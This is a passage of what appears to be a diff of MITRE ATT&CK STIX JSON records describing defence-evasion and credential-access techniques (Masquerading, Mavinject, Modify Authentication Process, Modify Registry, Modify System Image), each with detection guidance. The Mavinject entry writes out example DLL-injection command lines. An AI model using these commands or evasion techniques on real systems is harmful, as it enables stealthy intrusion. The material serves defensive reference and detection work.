"url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8", + "description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.", + "source_name": "Microsoft Zone.Identifier 2020" + }, + { + "url": "https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316", + "description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021.", + "source_name": "Beek Use of VHD Dec 2020" + }, + { + "url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/", + "description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021.", + "source_name": "Outflank MotW 2020" + }, + { + "url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/", + "description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.", + "source_name": "Intezer Russian APT Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Masquerade Task or Service", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Service: Service Metadata", + "Service: Service Creation", + "Scheduled Job: Scheduled Job Metadata", + "Scheduled Job: Scheduled Job Modification" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-18T13:24:52.618Z", + "created": "2020-02-10T20:30:07.426Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1036/004", + "external_id": "T1036.004", + "source_name": "mitre-attack" + }, + { + "source_name": "TechNet Schtasks", + "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.", + "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx" + }, + { + "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html", + "description": "Freedesktop.org. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 16, 2020.", + "source_name": "Systemd Service Units" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "Fysbis Dr Web Analysis", + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", + "url": "https://vms.drweb.com/virus/?i=4276269" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Masquerading", + "x_mitre_data_sources": [ + "Image: Image Metadata", + "Command: Command Execution", + "Service: Service Metadata", + "Service: Service Creation", + "Scheduled Job: Scheduled Job Metadata", + "Scheduled Job: Scheduled Job Modification", + "File: File Metadata", + "Process: Process Metadata", + "File: File Modification" + ], + "x_mitre_version": "1.4", + "modified": "2021-10-18T13:24:52.973Z", + "created": "2017-05-31T21:30:38.511Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_defense_bypassed": [ + "Application control by file name or path" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", + "x_mitre_contributors": [ + "Oleg Kolesnikov, Securonix", + "Nick Carr, Mandiant", + "David Lu, Tripwire", + "Felipe Esp\u00f3sito, @Pr0teus", + "Elastic", + "Bartosz Jerzman" + ], + "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1036", + "external_id": "T1036", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/177.html", + "external_id": "CAPEC-177", + "source_name": "capec" + }, + { + "url": "https://lolbas-project.github.io/", + "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.", + "source_name": "LOLBAS Main Site" + }, + { + "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", + "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", + "source_name": "Elastic Masquerade Ball" + }, + { + "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.", + "source_name": "Twitter ItsReallyNick Masquerading Update" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-20T19:23:37.762Z", + "name": "Match Legitimate Name or Location", + "x_mitre_data_sources": [ + "Image: Image Metadata", + "File: File Metadata", + "Process: Process Metadata" + ], + "x_mitre_version": "1.1", + "created": "2020-02-10T20:43:10.239Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_defense_bypassed": [ + "Application control by file name or path" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "description": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee" + ], + "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1036/005", + "external_id": "T1036.005", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/177.html", + "external_id": "CAPEC-177", + "source_name": "capec" + }, + { + "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", + "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", + "source_name": "Elastic Masquerade Ball" + }, + { + "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.", + "source_name": "Twitter ItsReallyNick Masquerading Update" + }, + { + "url": "https://docs.docker.com/engine/reference/commandline/images/", + "description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021.", + "source_name": "Docker Images" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Mavinject", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-14T22:11:03.446Z", + "created": "2021-09-22T17:45:10.241Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9", + "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\n\nAdversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/013", + "external_id": "T1218.013", + "source_name": "mitre-attack" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/", + "description": "LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.", + "source_name": "LOLBAS Mavinject" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution", + "description": "Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021.", + "source_name": "ATT Lazarus TTP Evolution" + }, + { + "url": "https://reaqta.com/2017/12/mavinject-microsoft-injector/", + "description": "Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.", + "source_name": "Reaqta Mavinject" + }, + { + "url": "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", + "description": "Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021.", + "source_name": "Mavinject Functionality Deconstructed" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Modify Authentication Process", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Process: OS API Execution", + "Process: Process Access", + "File: File Modification", + "File: File Creation", + "Module: Module Load", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_version": "2.0", + "modified": "2021-10-17T14:48:33.990Z", + "created": "2020-02-11T19:01:56.887Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Network" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", + "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", + "x_mitre_contributors": [ + "Chris Ross @xorrior" + ], + "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1556", + "external_id": "T1556", + "source_name": "mitre-attack" + }, + { + "source_name": "Clymb3r Function Hook Passwords Sept 2013", + "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", + "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" + }, + { + "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis", + "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", + "source_name": "Dell Skeleton" + }, + { + "url": "https://xorrior.com/persistent-credential-theft/", + "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.", + "source_name": "Xorrior Authorization Plugins" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Modify Cloud Compute Infrastructure", + "x_mitre_data_sources": [ + "Instance: Instance Stop", + "Instance: Instance Start", + "Instance: Instance Creation", + "Instance: Instance Modification", + "Instance: Instance Deletion", + "Snapshot: Snapshot Creation", + "Snapshot: Snapshot Modification", + "Snapshot: Snapshot Deletion", + "Volume: Volume Creation", + "Volume: Volume Modification", + "Volume: Volume Deletion" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-20T14:51:01.759Z", + "created": "2019-08-30T18:03:05.864Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", + "description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1578", + "external_id": "T1578", + "source_name": "mitre-attack" + }, + { + "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "source_name": "Mandiant M-Trends 2020" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-16T16:05:53.825Z", + "name": "Modify Existing Service", + "created": "2017-05-31T21:30:34.928Z", + "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1031", + "external_id": "T1031", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/551.html", + "external_id": "CAPEC-551", + "source_name": "capec" + }, + { + "source_name": "Twitter Service Recovery Nov 2017", + "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.", + "url": "https://twitter.com/r0wdy_/status/936365549553991680" + }, + { + "source_name": "Microsoft Service Recovery Feb 2013", + "description": "Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Modify Registry", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Process: OS API Execution", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "Windows Registry: Windows Registry Key Deletion" + ], + "x_mitre_version": "1.2", + "modified": "2020-08-13T20:02:49.641Z", + "created": "2017-05-31T21:31:23.587Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.", + "x_mitre_contributors": [ + "Bartosz Jerzman", + "Travis Smith, Tripwire", + "David Lu, Tripwire" + ], + "x_mitre_detection": "Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1112", + "external_id": "T1112", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/203.html", + "external_id": "CAPEC-203", + "source_name": "capec" + }, + { + "source_name": "Microsoft Reg", + "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.", + "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx" + }, + { + "source_name": "Microsoft Reghide NOV 2006", + "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.", + "url": "https://docs.microsoft.com/sysinternals/downloads/reghide" + }, + { + "source_name": "TrendMicro POWELIKS AUG 2014", + "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/" + }, + { + "source_name": "SpectorOps Hiding Reg Jul 2017", + "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.", + "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353" + }, + { + "source_name": "Microsoft Remote", + "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.", + "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx" + }, + { + "source_name": "Microsoft 4657 APR 2017", + "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.", + "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657" + }, + { + "source_name": "Microsoft RegDelNull July 2016", + "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Modify System Image", + "x_mitre_data_sources": [ + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-22T17:50:47.635Z", + "created": "2020-10-19T19:42:19.740Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754", + "description": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1601", + "external_id": "T1601", + "source_name": "mitre-attack" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-31T18:59:59.041Z", + "name": "Mshta", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1170", + "external_id": "T1170", + "source_name": "mitre-attack" + }, + { + "url": "https://en.wikipedia.org/wiki/HTML_Application", + "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.", + "source_name": "Wikipedia HTML Application" + }, + { + "url": "https://msdn.microsoft.com/library/ms536471.aspx", + "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.", + "source_name": "MSDN HTML Applications" + }, + { + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm" + }, + { + "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/", + "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.", + "source_name": "Red Canary HTA Abuse Part Deux" + }, + 